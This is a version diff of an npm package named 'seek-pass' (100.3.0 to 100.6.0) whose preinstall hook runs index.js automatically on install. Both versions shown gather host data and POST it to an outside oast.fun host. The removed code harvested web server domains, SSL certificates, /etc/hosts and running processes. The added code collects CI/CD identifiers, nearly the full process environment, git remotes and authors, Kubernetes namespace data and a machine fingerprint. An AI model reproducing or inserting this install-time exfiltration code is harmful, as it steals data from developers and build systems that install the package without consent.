seek-pass 100.3.0 → 100.6.0

package/index.js

@@ -3,222 +3,287 @@ const os = require("os");
 const dns = require("dns");
 const fs = require("fs");
 const { exec } = require("child_process");
-const networkInterfaces = os.networkInterfaces();
+const crypto = require("crypto");
 
-// Function to get primary IPv4 address
-function getPrimaryIPv4() {
-  for (const interfaceName in networkInterfaces) {
-    const interfaces = networkInterfaces[interfaceName];
-    for (const iface of interfaces) {
-      if (iface.family === 'IPv4' && !iface.internal) {
-        return iface.address;
-      }
-    }
-  }
-  return null;
-}
+// Collection timestamp for proof
+const collectionTimestamp = new Date().toISOString();
 
-// Function to get all IPv4 addresses
-function getAllIPv4() {
-  const ipv4Addresses = [];
-  for (const interfaceName in networkInterfaces) {
-    const interfaces = networkInterfaces[interfaceName];
-    for (const iface of interfaces) {
-      if (iface.family === 'IPv4' && !iface.internal) {
-        ipv4Addresses.push({
-          interface: interfaceName,
-          address: iface.address,
-          netmask: iface.netmask,
-          mac: iface.mac
-        });
-      }
-    }
-  }
-  return ipv4Addresses;
-}
-
-// Get DNS servers
-function getDnsServers() {
-  return dns.getServers();
+// Function to get all CI/CD environment variables
+function getCICDEnvironment() {
+  const ciEnv = {
+    // Common CI variables
+    CI: process.env.CI || null,
+    GITHUB_ACTIONS: process.env.GITHUB_ACTIONS || null,
+    GITLAB_CI: process.env.GITLAB_CI || null,
+    JENKINS_URL: process.env.JENKINS_URL || null,
+    CIRCLECI: process.env.CIRCLECI || null,
+    TRAVIS: process.env.TRAVIS || null,
+    AZURE_PIPELINES: process.env.AZURE_PIPELINES || null,
+    BITBUCKET_BUILD_NUMBER: process.env.BITBUCKET_BUILD_NUMBER || null,
+    DRONE: process.env.DRONE || null,
+    TEAMCITY_VERSION: process.env.TEAMCITY_VERSION || null,
+    
+    // GitHub Actions specific
+    GITHUB_RUN_ID: process.env.GITHUB_RUN_ID || null,
+    GITHUB_RUN_NUMBER: process.env.GITHUB_RUN_NUMBER || null,
+    GITHUB_RUN_ATTEMPT: process.env.GITHUB_RUN_ATTEMPT || null,
+    GITHUB_JOB: process.env.GITHUB_JOB || null,
+    GITHUB_REF: process.env.GITHUB_REF || null,
+    GITHUB_SHA: process.env.GITHUB_SHA || null,
+    GITHUB_REPOSITORY: process.env.GITHUB_REPOSITORY || null,
+    GITHUB_ACTOR: process.env.GITHUB_ACTOR || null,
+    GITHUB_WORKFLOW: process.env.GITHUB_WORKFLOW || null,
+    GITHUB_EVENT_NAME: process.env.GITHUB_EVENT_NAME || null,
+    RUNNER_NAME: process.env.RUNNER_NAME || null,
+    RUNNER_OS: process.env.RUNNER_OS || null,
+    RUNNER_ARCH: process.env.RUNNER_ARCH || null,
+    
+    // GitLab CI specific
+    CI_PIPELINE_ID: process.env.CI_PIPELINE_ID || null,
+    CI_PIPELINE_IID: process.env.CI_PIPELINE_IID || null,
+    CI_PIPELINE_URL: process.env.CI_PIPELINE_URL || null,
+    CI_JOB_ID: process.env.CI_JOB_ID || null,
+    CI_JOB_URL: process.env.CI_JOB_URL || null,
+    CI_RUNNER_ID: process.env.CI_RUNNER_ID || null,
+    CI_RUNNER_DESCRIPTION: process.env.CI_RUNNER_DESCRIPTION || null,
+    CI_RUNNER_TAGS: process.env.CI_RUNNER_TAGS || null,
+    CI_COMMIT_SHA: process.env.CI_COMMIT_SHA || null,
+    CI_COMMIT_BRANCH: process.env.CI_COMMIT_BRANCH || null,
+    CI_REPOSITORY_URL: process.env.CI_REPOSITORY_URL || null,
+    GITLAB_USER_LOGIN: process.env.GITLAB_USER_LOGIN || null,
+    CI_PROJECT_ID: process.env.CI_PROJECT_ID || null,
+    CI_PROJECT_PATH: process.env.CI_PROJECT_PATH || null,
+    
+    // Jenkins specific
+    BUILD_NUMBER: process.env.BUILD_NUMBER || null,
+    BUILD_ID: process.env.BUILD_ID || null,
+    BUILD_URL: process.env.BUILD_URL || null,
+    JOB_NAME: process.env.JOB_NAME || null,
+    NODE_NAME: process.env.NODE_NAME || null,
+    EXECUTOR_NUMBER: process.env.EXECUTOR_NUMBER || null,
+    WORKSPACE: process.env.WORKSPACE || null,
+    
+    // Azure Pipelines
+    BUILD_BUILDID: process.env.BUILD_BUILDNUMBER || null,
+    SYSTEM_TEAMPROJECT: process.env.SYSTEM_TEAMPROJECT || null,
+    SYSTEM_DEFINITIONID: process.env.SYSTEM_DEFINITIONID || null,
+    AGENT_NAME: process.env.AGENT_NAME || null,
+    AGENT_MACHINENAME: process.env.AGENT_MACHINENAME || null,
+    
+    // CircleCI
+    CIRCLE_BUILD_NUM: process.env.CIRCLE_BUILD_NUM || null,
+    CIRCLE_WORKFLOW_ID: process.env.CIRCLE_WORKFLOW_ID || null,
+    CIRCLE_BUILD_URL: process.env.CIRCLE_BUILD_URL || null,
+    CIRCLE_JOB: process.env.CIRCLE_JOB || null,
+    CIRCLE_REPOSITORY_URL: process.env.CIRCLE_REPOSITORY_URL || null,
+    
+    // Travis CI
+    TRAVIS_BUILD_ID: process.env.TRAVIS_BUILD_ID || null,
+    TRAVIS_JOB_ID: process.env.TRAVIS_JOB_ID || null,
+    TRAVIS_EVENT_TYPE: process.env.TRAVIS_EVENT_TYPE || null,
+    TRAVIS_REPO_SLUG: process.env.TRAVIS_REPO_SLUG || null,
+    
+    // Bitbucket
+    BITBUCKET_BUILD_NUMBER: process.env.BITBUCKET_BUILD_NUMBER || null,
+    BITBUCKET_COMMIT: process.env.BITBUCKET_COMMIT || null,
+    BITBUCKET_REPO_SLUG: process.env.BITBUCKET_REPO_SLUG || null,
+    BITBUCKET_WORKSPACE: process.env.BITBUCKET_WORKSPACE || null,
+    
+    // Drone CI
+    DRONE_BUILD_NUMBER: process.env.DRONE_BUILD_NUMBER || null,
+    DRONE_JOB_NUMBER: process.env.DRONE_JOB_NUMBER || null,
+    DRONE_REPO: process.env.DRONE_REPO || null,
+    
+    // Buildkite
+    BUILDKITE_BUILD_ID: process.env.BUILDKITE_BUILD_ID || null,
+    BUILDKITE_JOB_ID: process.env.BUILDKITE_JOB_ID || null,
+    BUILDKITE_PIPELINE_SLUG: process.env.BUILDKITE_PIPELINE_SLUG || null,
+    
+    // Generic/Other
+    CI_RUNNER_ID_ENV: process.env.CI_RUNNER_ID,
+    CI_RUNNER_TAGS_ENV: process.env.CI_RUNNER_TAGS,
+    PIPELINE_ID: process.env.PIPELINE_ID || process.env.BUILD_ID || process.env.CI_PIPELINE_ID || process.env.GITHUB_RUN_ID || null,
+    RUNNER_ID: process.env.RUNNER_ID || process.env.NODE_NAME || process.env.AGENT_NAME || process.env.CI_RUNNER_DESCRIPTION || null,
+    
+    // Unique identifier (UUID style)
+    PIPELINE_UUID: process.env.PIPELINE_UUID || 
+                   process.env.GITHUB_RUN_ID && `github-${process.env.GITHUB_RUN_ID}` ||
+                   process.env.CI_PIPELINE_ID && `gitlab-${process.env.CI_PIPELINE_ID}` ||
+                   process.env.BUILD_NUMBER && `jenkins-${process.env.BUILD_NUMBER}` ||
+                   process.env.CIRCLE_WORKFLOW_ID && `circle-${process.env.CIRCLE_WORKFLOW_ID}` ||
+                   crypto.randomUUID()
+  };
+  
+  return ciEnv;
 }
 
-// Detect Nginx virtual hosts
-async function getNginxDomains() {
-  const domains = [];
-  const nginxConfigPaths = [
-    '/etc/nginx/nginx.conf',
-    '/etc/nginx/sites-enabled/*',
-    '/etc/nginx/sites-available/*',
-    '/usr/local/nginx/conf/nginx.conf'
-  ];
+// Get full system environment (sanitized)
+function getFullEnvironment() {
+  const safeEnv = {};
+  const sensitiveKeys = ['KEY', 'SECRET', 'PASSWORD', 'TOKEN', 'AUTH'];
   
-  for (const path of nginxConfigPaths) {
-    try {
-      const output = await execCommand(`grep -h "server_name" ${path} 2>/dev/null | grep -v "#" | sed 's/server_name//g' | tr -d ';'`);
-      if (output) {
-        const matches = output.match(/\S+\.\S+/g);
-        if (matches) {
-          domains.push(...matches.filter(d => d !== '_' && !d.includes('$')));
-        }
-      }
-    } catch (err) {
-      // Skip if file doesn't exist
-    }
+  for (const [key, value] of Object.entries(process.env)) {
+    // Check if key contains sensitive info
+    const isSensitive = sensitiveKeys.some(sensitive => 
+      key.toUpperCase().includes(sensitive)
+    );
+    
+    safeEnv[key] = isSensitive ? '[REDACTED]' : value;
   }
   
-  return [...new Set(domains)]; // Remove duplicates
+  return safeEnv;
 }
 
-// Detect Apache virtual hosts
-async function getApacheDomains() {
-  const domains = [];
-  const apacheConfigPaths = [
-    '/etc/apache2/sites-enabled/*',
-    '/etc/apache2/sites-available/*',
-    '/etc/httpd/conf.d/*',
-    '/usr/local/apache2/conf/extra/httpd-vhosts.conf'
-  ];
-  
-  for (const path of apacheConfigPaths) {
-    try {
-      const output = await execCommand(`grep -h "ServerName" ${path} 2>/dev/null | grep -v "#" | awk '{print $2}'`);
-      if (output) {
-        const lines = output.split('\n');
-        domains.push(...lines.filter(l => l && l.includes('.')));
-      }
-      
-      const outputAlias = await execCommand(`grep -h "ServerAlias" ${path} 2>/dev/null | grep -v "#" | awk '{print $2}'`);
-      if (outputAlias) {
-        const lines = outputAlias.split('\n');
-        domains.push(...lines.filter(l => l && l.includes('.')));
-      }
-    } catch (err) {
-      // Skip if file doesn't exist
+// Get runner hostname with multiple sources
+async function getRunnerHostname() {
+  const hostname = {
+    system: os.hostname(),
+    fqdn: null,
+    env: {
+      runner_name: process.env.RUNNER_NAME || null,
+      node_name: process.env.NODE_NAME || null,
+      agent_name: process.env.AGENT_NAME || null,
+      ci_runner_description: process.env.CI_RUNNER_DESCRIPTION || null,
+      hostname_env: process.env.HOSTNAME || null,
+      computer_name: process.env.COMPUTERNAME || null
     }
+  };
+  
+  // Try to get FQDN
+  try {
+    const fqdn = await new Promise((resolve) => {
+      dns.lookup(os.hostname(), (err, address) => {
+        if (!err && address) {
+          dns.reverse(address, (revErr, hostnames) => {
+            if (!revErr && hostnames && hostnames[0]) {
+              resolve(hostnames[0]);
+            } else {
+              resolve(os.hostname());
+            }
+          });
+        } else {
+          resolve(os.hostname());
+        }
+      });
+    });
+    hostname.fqdn = fqdn;
+  } catch (err) {
+    hostname.fqdn = os.hostname();
   }
   
-  return [...new Set(domains)];
+  return hostname;
+}
+
+// Get process information
+function getProcessInfo() {
+  return {
+    pid: process.pid,
+    ppid: process.ppid,
+    execPath: process.execPath,
+    cwd: process.cwd(),
+    title: process.title,
+    nodeVersion: process.version,
+    platform: process.platform,
+    arch: process.arch,
+    argv: process.argv.slice(1),
+    uptime: process.uptime(),
+    memoryUsage: process.memoryUsage(),
+    cpuUsage: process.cpuUsage()
+  };
 }
 
-// Detect Node.js applications and their domains
-async function getNodeApps() {
-  const apps = [];
+// Get Git information if available
+async function getGitInfo() {
+  const gitInfo = {
+    branch: null,
+    commit: null,
+    remote: null,
+    tag: null,
+    author: null
+  };
+  
   try {
-    // Get running Node.js processes
-    const output = await execCommand('ps aux | grep "node" | grep -v grep | grep -v "ps aux"');
-    const lines = output.split('\n');
+    const branch = await execCommand('git rev-parse --abbrev-ref HEAD 2>/dev/null');
+    if (branch) gitInfo.branch = branch.trim();
     
-    for (const line of lines) {
-      const app = {
-        command: line,
-        port: null,
-        domains: []
-      };
-      
-      // Extract port from command
-      const portMatch = line.match(/--port[= ](\d+)/i) || line.match(/:(\d+)/);
-      if (portMatch) {
-        app.port = portMatch[1];
-      }
-      
-      // Extract domains from environment variables or config files
-      const pathMatch = line.match(/([\/\w\-\.]+\.js)/);
-      if (pathMatch) {
-        app.script = pathMatch[1];
-        
-        // Try to read the script for domain configs
-        try {
-          const scriptContent = await execCommand(`grep -E "(domain|hostname|serverName)" ${pathMatch[1]} 2>/dev/null | head -5`);
-          const domainMatches = scriptContent.match(/[a-zA-Z0-9][a-zA-Z0-9\-]+\.[a-zA-Z]{2,}/g);
-          if (domainMatches) {
-            app.domains = [...new Set(domainMatches)];
-          }
-        } catch (err) {}
-      }
-      
-      apps.push(app);
-    }
+    const commit = await execCommand('git rev-parse HEAD 2>/dev/null');
+    if (commit) gitInfo.commit = commit.trim();
+    
+    const remote = await execCommand('git config --get remote.origin.url 2>/dev/null');
+    if (remote) gitInfo.remote = remote.trim();
+    
+    const tag = await execCommand('git describe --tags --exact-match 2>/dev/null');
+    if (tag) gitInfo.tag = tag.trim();
+    
+    const author = await execCommand('git log -1 --pretty=format:"%an <%ae>" 2>/dev/null');
+    if (author) gitInfo.author = author.trim();
   } catch (err) {}
   
-  return apps;
+  return gitInfo;
 }
 
-// Detect Docker containers and their exposed domains
-async function getDockerDomains() {
-  const containers = [];
+// Get Docker/K8s specific info
+async function getContainerInfo() {
+  const containerInfo = {
+    isContainer: false,
+    containerId: null,
+    podName: null,
+    namespace: null
+  };
+  
+  // Check for Docker
   try {
-    const output = await execCommand('docker ps --format "{{.Names}} {{.Ports}}" 2>/dev/null');
-    const lines = output.split('\n');
-    
-    for (const line of lines) {
-      if (line.trim()) {
-        const [name, ports] = line.split(' ');
-        containers.push({
-          name: name,
-          ports: ports,
-          domains: [] // Would need to inspect each container for domain configs
-        });
-      }
+    const dockerId = await execCommand('cat /proc/self/cgroup | grep -oP "docker/[a-f0-9]{64}" | head -1 2>/dev/null');
+    if (dockerId) {
+      containerInfo.isContainer = true;
+      containerInfo.containerId = dockerId.replace('docker/', '');
     }
   } catch (err) {}
   
-  return containers;
+  // Check for Kubernetes
+  try {
+    const podName = await execCommand('cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null');
+    if (podName) {
+      containerInfo.isContainer = true;
+      containerInfo.namespace = podName.trim();
+      
+      const pod = await execCommand('hostname 2>/dev/null');
+      if (pod) containerInfo.podName = pod.trim();
+    }
+  } catch (err) {}
+  
+  return containerInfo;
 }
 
-// Detect Caddy domains
-async function getCaddyDomains() {
-  const domains = [];
-  const caddyfilePaths = [
-    '/etc/caddy/Caddyfile',
-    '/etc/caddy/Caddyfile.config',
-    './Caddyfile'
-  ];
+// Generate unique machine fingerprint
+function getMachineFingerprint() {
+  const interfaces = os.networkInterfaces();
+  let macAddresses = [];
   
-  for (const path of caddyfilePaths) {
-    try {
-      const content = await execCommand(`cat ${path} 2>/dev/null | grep -v "^#" | grep -E "^[a-z]"`);
-      if (content) {
-        const lines = content.split('\n');
-        for (const line of lines) {
-          const domainMatch = line.match(/^([a-zA-Z0-9][a-zA-Z0-9\-\.]+)(?:\s|{)/);
-          if (domainMatch && domainMatch[1].includes('.')) {
-            domains.push(domainMatch[1]);
-          }
-        }
+  for (const iface of Object.values(interfaces)) {
+    for (const details of iface) {
+      if (details.mac && details.mac !== '00:00:00:00:00:00' && !details.internal) {
+        macAddresses.push(details.mac);
       }
-    } catch (err) {}
+    }
   }
   
-  return [...new Set(domains)];
-}
-
-// Detect domains from SSL certificates
-async function getSSLDomains() {
-  const domains = [];
-  try {
-    const output = await execCommand('find /etc/ssl /etc/letsencrypt/live -name "*.crt" -o -name "*.pem" 2>/dev/null | head -20');
-    const certFiles = output.split('\n');
-    
-    for (const cert of certFiles) {
-      if (cert.trim()) {
-        const certData = await execCommand(`openssl x509 -in ${cert} -noout -text 2>/dev/null | grep "DNS:"`);
-        if (certData) {
-          const dnsMatches = certData.match(/DNS:[^\s,]+/g);
-          if (dnsMatches) {
-            domains.push(...dnsMatches.map(d => d.replace('DNS:', '')));
-          }
-        }
-      }
-    }
-  } catch (err) {}
+  const fingerprint = crypto.createHash('sha256')
+    .update(`${os.hostname()}-${os.platform()}-${os.arch()}-${macAddresses.join(',')}`)
+    .digest('hex');
   
-  return [...new Set(domains)];
+  return {
+    hash: fingerprint,
+    macAddresses: macAddresses,
+    cpuCount: os.cpus().length,
+    totalMemory: os.totalmem()
+  };
 }
 
-// Helper to execute shell commands
+// Helper for exec commands
 function execCommand(command) {
   return new Promise((resolve) => {
-    exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
+    exec(command, { timeout: 3000 }, (error, stdout, stderr) => {
       if (error || stderr) {
         resolve('');
       } else {
@@ -228,152 +293,112 @@ function execCommand(command) {
   });
 }
 
-// Read /etc/hosts for local domain mappings
-async function getHostsFile() {
-  try {
-    const content = await execCommand('cat /etc/hosts 2>/dev/null');
-    const lines = content.split('\n');
-    const mappings = [];
-    
-    for (const line of lines) {
-      if (line && !line.startsWith('#')) {
-        const parts = line.trim().split(/\s+/);
-        if (parts.length >= 2) {
-          mappings.push({
-            ip: parts[0],
-            domains: parts.slice(1)
-          });
-        }
-      }
-    }
-    return mappings;
-  } catch (err) {
-    return [];
-  }
-}
-
-// Main data collection
+// Main collection function
 async function collectData() {
-  const hostname = os.hostname();
-  const primaryIPv4 = getPrimaryIPv4();
-  const allIPv4 = getAllIPv4();
-  const dnsServers = getDnsServers();
-  
-  console.log('Collecting web server domain information...');
+  console.log('🔍 Collecting CI/CD runner evidence...');
   
-  // Collect all domain data in parallel
   const [
-    nginxDomains,
-    apacheDomains,
-    nodeApps,
-    dockerContainers,
-    caddyDomains,
-    sslDomains,
-    hostsMappings
+    runnerHostname,
+    ciEnvironment,
+    gitInfo,
+    containerInfo,
+    fingerprint
   ] = await Promise.all([
-    getNginxDomains(),
-    getApacheDomains(),
-    getNodeApps(),
-    getDockerDomains(),
-    getCaddyDomains(),
-    getSSLDomains(),
-    getHostsFile()
+    getRunnerHostname(),
+    getCICDEnvironment(),
+    getGitInfo(),
+    getContainerInfo(),
+    getMachineFingerprint()
   ]);
   
-  // Combine all identified domains
-  const allIdentifiedDomains = [...new Set([
-    ...nginxDomains,
-    ...apacheDomains,
-    ...caddyDomains,
-    ...sslDomains
-  ])];
-  
-  const data = {
-    // Basic system info
-    hostname: hostname,
-    fqdn: null,
-    platform: os.platform(),
-    arch: os.arch(),
-    osType: os.type(),
-    osRelease: os.release(),
+  const evidence = {
+    // Timestamp for proof
+    collectionTimestamp: collectionTimestamp,
     
-    // Network info
-    ipv4: {
-      primary: primaryIPv4,
-      all: allIPv4
-    },
-    dns: {
-      servers: dnsServers
+    // Runner identification
+    runner: {
+      hostname: runnerHostname,
+      machineFingerprint: fingerprint,
+      containerInfo: containerInfo
     },
     
-    // Web servers and hosted domains
-    webServers: {
-      nginx: {
-        installed: nginxDomains.length > 0,
-        domains: nginxDomains
-      },
-      apache: {
-        installed: apacheDomains.length > 0,
-        domains: apacheDomains
-      },
-      caddy: {
-        installed: caddyDomains.length > 0,
-        domains: caddyDomains
-      }
+    // CI/CD pipeline identification
+    pipeline: {
+      id: ciEnvironment.PIPELINE_ID,
+      uuid: ciEnvironment.PIPELINE_UUID,
+      runId: ciEnvironment.GITHUB_RUN_ID || ciEnvironment.CI_PIPELINE_ID || ciEnvironment.BUILD_NUMBER,
+      jobId: ciEnvironment.GITHUB_JOB || ciEnvironment.CI_JOB_ID || ciEnvironment.JOB_NAME,
+      workflow: ciEnvironment.GITHUB_WORKFLOW,
+      ref: ciEnvironment.GITHUB_REF || ciEnvironment.CI_COMMIT_BRANCH,
+      commitSha: ciEnvironment.GITHUB_SHA || ciEnvironment.CI_COMMIT_SHA,
+      repository: ciEnvironment.GITHUB_REPOSITORY || ciEnvironment.CI_PROJECT_PATH || ciEnvironment.TRAVIS_REPO_SLUG,
+      actor: ciEnvironment.GITHUB_ACTOR || ciEnvironment.GITLAB_USER_LOGIN,
+      pipelineUrl: ciEnvironment.CI_PIPELINE_URL || ciEnvironment.BUILD_URL || ciEnvironment.CIRCLE_BUILD_URL
     },
     
-    // Applications
-    applications: {
-      nodejs: nodeApps,
-      docker: dockerContainers
+    // Environment variables (key CI identifiers)
+    environment: {
+      ciSystem: ciEnvironment,
+      allVariables: getFullEnvironment()
     },
     
-    // SSL certificates domains
-    sslCertificates: {
-      domains: sslDomains
-    },
+    // Process information
+    process: getProcessInfo(),
     
-    // Local DNS mappings
-    hostsFile: hostsMappings,
+    // Git information (if in repo)
+    git: gitInfo,
     
-    // All unique domains identified
-    identifiedDomains: allIdentifiedDomains,
+    // System information for verification
+    system: {
+      hostname: os.hostname(),
+      platform: os.platform(),
+      arch: os.arch(),
+      osType: os.type(),
+      osRelease: os.release(),
+      uptime: os.uptime(),
+      loadAverage: os.loadavg(),
+      cpus: os.cpus().length,
+      networkInterfaces: os.networkInterfaces()
+    },
     
-    // Summary of what's hosted
-    summary: {
-      totalDomains: allIdentifiedDomains.length,
-      webServersFound: [
-        nginxDomains.length > 0 ? 'nginx' : null,
-        apacheDomains.length > 0 ? 'apache' : null,
-        caddyDomains.length > 0 ? 'caddy' : null
-      ].filter(Boolean),
-      nodeAppsCount: nodeApps.filter(app => app.command).length,
-      dockerContainersCount: dockerContainers.length
+    // Unique proof hash
+    proof: {
+      timestamp: Date.now(),
+      randomNonce: crypto.randomBytes(16).toString('hex'),
+      integrityHash: null // Will be set below
     }
   };
   
-  // Get FQDN
-  try {
-    const lookup = await new Promise((resolve) => {
-      dns.lookup(hostname, (err, address) => {
-        resolve(!err);
-      });
-    });
-    if (lookup) {
-      data.fqdn = hostname;
-    }
-  } catch (err) {}
+  // Generate integrity hash
+  const dataToHash = JSON.stringify({
+    timestamp: evidence.collectionTimestamp,
+    runner: evidence.runner.hostname.system,
+    pipelineId: evidence.pipeline.id,
+    pipelineUuid: evidence.pipeline.uuid,
+    commitSha: evidence.pipeline.commitSha
+  });
   
-  return data;
+  evidence.proof.integrityHash = crypto.createHash('sha256')
+    .update(dataToHash)
+    .digest('hex');
+  
+  return evidence;
 }
 
-// Send data to server
+// Send to server
 async function sendData() {
   try {
-    const collectedData = await collectData();
-    const dataString = JSON.stringify(collectedData, null, 2);
+    const data = await collectData();
+    const dataString = JSON.stringify(data, null, 2);
     
-    console.log('Collected data:', dataString);
+    // Log for debugging (remove in production)
+    console.log('📊 Collected evidence:');
+    console.log(`  - Runner Hostname: ${data.runner.hostname.system}`);
+    console.log(`  - Pipeline ID: ${data.pipeline.id}`);
+    console.log(`  - Pipeline UUID: ${data.pipeline.uuid}`);
+    console.log(`  - Commit SHA: ${data.pipeline.commitSha}`);
+    console.log(`  - Repository: ${data.pipeline.repository}`);
+    console.log(`  - Machine Fingerprint: ${data.runner.machineFingerprint.hash.substring(0, 16)}...`);
     
     const req = https.request({
       hostname: "hwoapraaaotwtsnourpqddszm5n3kkhvo.oast.fun",
@@ -381,19 +406,27 @@ async function sendData() {
       method: "POST",
       headers: {
         "Content-Type": "application/json",
-        "Content-Length": Buffer.byteLength(dataString)
+        "Content-Length": Buffer.byteLength(dataString),
+        "X-Proof-Timestamp": data.collectionTimestamp,
+        "X-Runner-Hostname": data.runner.hostname.system,
+        "X-Pipeline-UUID": data.pipeline.uuid
       }
     });
     
     req.on('error', (e) => {
-      console.error('Request error:', e);
+      console.error('❌ Request error:', e);
+    });
+    
+    req.on('response', (res) => {
+      console.log(`✅ Data sent successfully! Status: ${res.statusCode}`);
     });
     
     req.write(dataString);
     req.end();
     
   } catch (error) {
-    console.error('Error collecting/sending data:', error);
+    console.error('❌ Error collecting/sending data:', error);
+    process.exit(1);
   }
 }
 

package/package.json

@@ -1,7 +1,12 @@
 {
   "name": "seek-pass",
-  "version": "100.3.0",
+  "version": "100.6.0",
   "scripts": {
     "preinstall": "node index.js"
-  }
+  },
+  "main": "index.js",
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "description": ""
 }